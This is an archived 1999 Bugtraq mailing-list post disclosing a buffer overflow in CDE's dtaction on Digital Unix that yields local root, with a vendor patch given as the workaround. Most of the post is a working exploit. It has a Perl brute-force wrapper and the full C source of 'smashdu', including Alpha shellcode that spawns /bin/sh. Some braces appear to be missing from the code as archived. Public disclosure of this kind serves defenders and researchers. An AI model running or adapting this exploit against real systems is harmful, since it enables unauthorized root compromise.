Bugtraq mailing list archives
Vulnerability in dtaction on Digital Unix
From: zhubert () UWPN ORG (Zack Hubert)
Date: Thu, 16 Sep 1999 12:38:51 -0700
Hello, I have verified that the dtaction vulnerability in CDE can be exploited for local root compromise on Digital Unix systems. Background -------------- This is a followup to the issue first introduced by Job de Haas on the buffer overflow present within /usr/dt/bin/dtaction. He had verified that the problem exists on Solaris 7, 2.6, 2.5.1. Lamont Granquist then posted a followup saying it was exploitable on Digital Unix's implementation of CDE. I have found Lamont's original assessment to be correct. Workaround --------------- Use the patch (ssrt0615u_dtaction) available from Digital at http://ftp.service.digital.com/public/Digital_UNIX/. Code ------ Note: This was all written by Lamont Granquist and distributed under previous Digital Unix overflows. There is a slight modification however. Compile smashdu, change the perl script to match your location, put some kind of paperweight on your enter key (believe me!), and voila, root. Sincerely, Zack Hubert (zhubert () uwpn org) UW Physicians Network - Unix Administrator ---Cut Here--- #!/usr/local/bin/perl $n=8175; foreach $j (1..1000) { foreach $i (0..7) { $x = $n + $j; printf("%d %d\n",$x,$i); $cmd = "./smashdu -e 'DISPLAY=youriphere:0' 1013 $i $x /usr/dt/bin/dtaction -u %e Run /bin/sh"; open(S,"echo id | $cmd 2>&1|") || die "can't open pipe: $?\n"; while (<S>) { if (m|uid=0|) { print "got root with '$cmd'\n"; exit(0); } } close(S); } } exit(0); ---Cut Here--- /* smashdu.c generic buffer overflow C 'script' for DU4.x (4.0B, 4.0D, ???) Lamont Granquist lamontg () hitl washington edu lamontg () u washington edu Tue Dec 1 11:22:03 PST 1998 gcc -o smashdu smashdu.c */ #define MAXENV 30 #define MAXARG 30 #include <unistd.h> #include <stdlib.h> #include <strings.h> #include <stdio.h> /* shellcode = 80 bytes. as the entry to this shellcode is at offset+72 bytes it cannot be simply padded with nops prior to the shellcode. */ int rawcode[] = { 0x2230fec4, /* subq $16,0x13c,$17 */ 0x47ff0412, /* clr $18 */ 0x42509532, /* subq $18, 0x84 */ 0x239fffff, /* xor $18, 0xffffffff, $18 */ 0x4b84169c, 0x465c0812, 0xb2510134, /* stl $18, 0x134($17) */ 0x265cff98, /* lda $18, 0xff978cd0 */ 0x22528cd1, 0x465c0812, /* xor $18, 0xffffffff, $18 */ 0xb2510140, /* stl $18, 0x140($17) */ 0xb6110148, /* stq $16,0x148($17) */ 0xb7f10150, /* stq $31,0x150($17) */ 0x22310148, /* addq $17,0x148,$17 */ 0x225f013a, /* ldil $18,0x13a */ 0x425ff520, /* subq $18,0xff,$0 */ 0x47ff0412, /* clr $18 */ 0xffffffff, /* call_pal 0x83 */ 0xd21fffed, /* bsr $16,$l1 ENTRY */ 0x6e69622f, /* .ascii "/bin" */ /* .ascii "/sh\0" is generated */ }; int nop = 0x47ff041f; int shellcodesize = 0; int padding = 0; int overflowsize = 0; long retaddr = 0x11fffff24; void usage(void) { fprintf(stderr, "smashdu [-e <env>] [-r <ra>] "); fprintf(stderr, "shellsize pad bufsize <cmdargs>\n"); fprintf(stderr, " -e: add a variable to the environment\n"); fprintf(stderr, " -r: change ra from default 0x11fffff24\n"); fprintf(stderr, " shellsize: size of shellcode on the heap\n"); fprintf(stderr, " pad: padding to alighn the shellcode correctly\n"); fprintf(stderr, " bufsize: size of the buffer overflow on the stack\n"); fprintf(stderr, " cmdargs: %%e will be replaced by buffer overflow\n"); fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 "); fprintf(stderr, "/foo/bar %%e\n"); exit(-1); } /* this handles generation of shellcode of the appropriate size and with appropriate padding bytes for alignment. the padding argument should typically only be 0,1,2,3 and the routine is "nice" in that if you feed it the size of your malloc()'d buffer it should prevent overrunning it by automatically adjusting the shellcode size downwards. */ int genshellcode(char *shellcode, int size, int padding) { int i, s, n; char *rp; char *sp; char *np; rp = (char *)rawcode; sp = (char *)shellcode; np = (char *)&nop; s = size; if (size < (80 + padding)) { fprintf(stderr, "cannot generate shellcode that small: %d bytes, "); fprintf(stderr, "with %d padding\n", size, padding); exit(-1); } /* first we pad */ for(i=0;i<padding;i++) { *sp = 0x6e; sp++; s--; } /* then we copy over the first 72 bytes of the shellcode */ for(i=0;i<72;i++) { *sp = rp[i]; sp++; s--; } if (s % 4 != 0) { n = s % 4; s -= n; printf("shellcode truncated to %d bytes\n", size - n); } /* then we add the nops */ for(i=0; s > 8; s--, i++) { *sp = np[i % 4]; sp++; } n = i / 4; /* n == number of nops */ /* then we add the tail 2 instructions */ for(i=0; i < 8; i++) { *sp = rp[i+72]; if(i==0) /* here we handle modifying the branch instruction */ *sp -= n; *sp++; } } int main(argc, argv) int argc; char *argv[]; { char *badargs[MAXARG]; char *badenv[MAXENV]; long i, *ip, p; char *cp, *ocp; int c, env_idx, overflow_idx; env_idx = 0; while ((c = getopt(argc, argv, "e:r:")) != EOF) { switch (c) { case 'e': /* add an env variable */ badenv[env_idx++] = optarg; if (env_idx >= MAXENV - 2) { fprintf(stderr, "too many envs, "); fprintf(stderr, "try increasing MAXENV and recompiling\n"); exit(-1); } break; case 'r': /* change default ra */ sscanf(optarg, "%x", &retaddr); break; default: usage(); /* NOTREACHED */ } } if (argc - optind < 4) { usage(); shellcodesize = atoi(argv[optind++]); padding = atoi(argv[optind++]); overflowsize = atoi(argv[optind++]); printf("using %d %d %d\n", shellcodesize, padding, overflowsize); /* copy the args over from argv[] into badargs[] */ for(i=0;i<29;i++) { if (strncmp(argv[optind], "%e", 3) == 0) { /* %e gets the shellcode */ badargs[i] = malloc(overflowsize); overflow_idx = i; optind++; } else { badargs[i] = argv[optind++]; } if (optind >= argc) { i++; break; } badargs[i] = NULL; if (optind < argc) { fprintf(stderr, "too many args, try increasing MAXARG and recompiling\n"); exit(-1); } printf("putting overflow code into argv[%d]\n", overflow_idx); cp = badargs[overflow_idx]; for(i=0;i<overflowsize-8;i++) { *cp = 0x61; cp++; } ocp = (char *) &retaddr; for(i=0;i<8;i++) { cp[i] = ocp[i]; } /* here is where we actually shovel the shellcode into the environment */ badenv[env_idx] = malloc(1024); genshellcode(badenv[env_idx++],shellcodesize,padding); badenv[env_idx] = NULL; /* and now we call our program with the hostile args */ execve(badargs[0], badargs, badenv); }
Current thread:
- BT/Cellnet Genie vulnerability James Fidell (Sep 15)
- Re: BT/Cellnet Genie vulnerability James Fidell (Sep 15)
- Vulnerability in dtaction on Digital Unix Zack Hubert (Sep 16)
- Re: Vulnerability in dtaction on Digital Unix Eric Gatenby (Sep 16)
- Nmap and Cisco Dos, clarification -- Lancashire, Andrew (Sep 22)
- Re: Nmap and Cisco Dos, clarification -- Darren Reed (Sep 23)
- LD_PROFILE local root exploit for solaris 2.6 Steve Mynott (Sep 22)
- Re: LD_PROFILE local root exploit for solaris 2.6 Brock Sides (Sep 23)
- Re: LD_PROFILE local root exploit for solaris 2.6 Erik Fichtner (Sep 23)
- Announcing Second Annual TooRcon Computer Security Expo Ben (Sep 25)
- Re: Vulnerability in dtaction on Digital Unix Eric Gatenby (Sep 16)
- Re: LD_PROFILE local root exploit for solaris 2.6 Casper Dik (Sep 24)
- Re: LD_PROFILE local root exploit for solaris 2.6 Eric Daniel (Sep 28)
- Re: LD_PROFILE local root exploit for solaris 2.6 Pavel Kankovsky (Sep 24)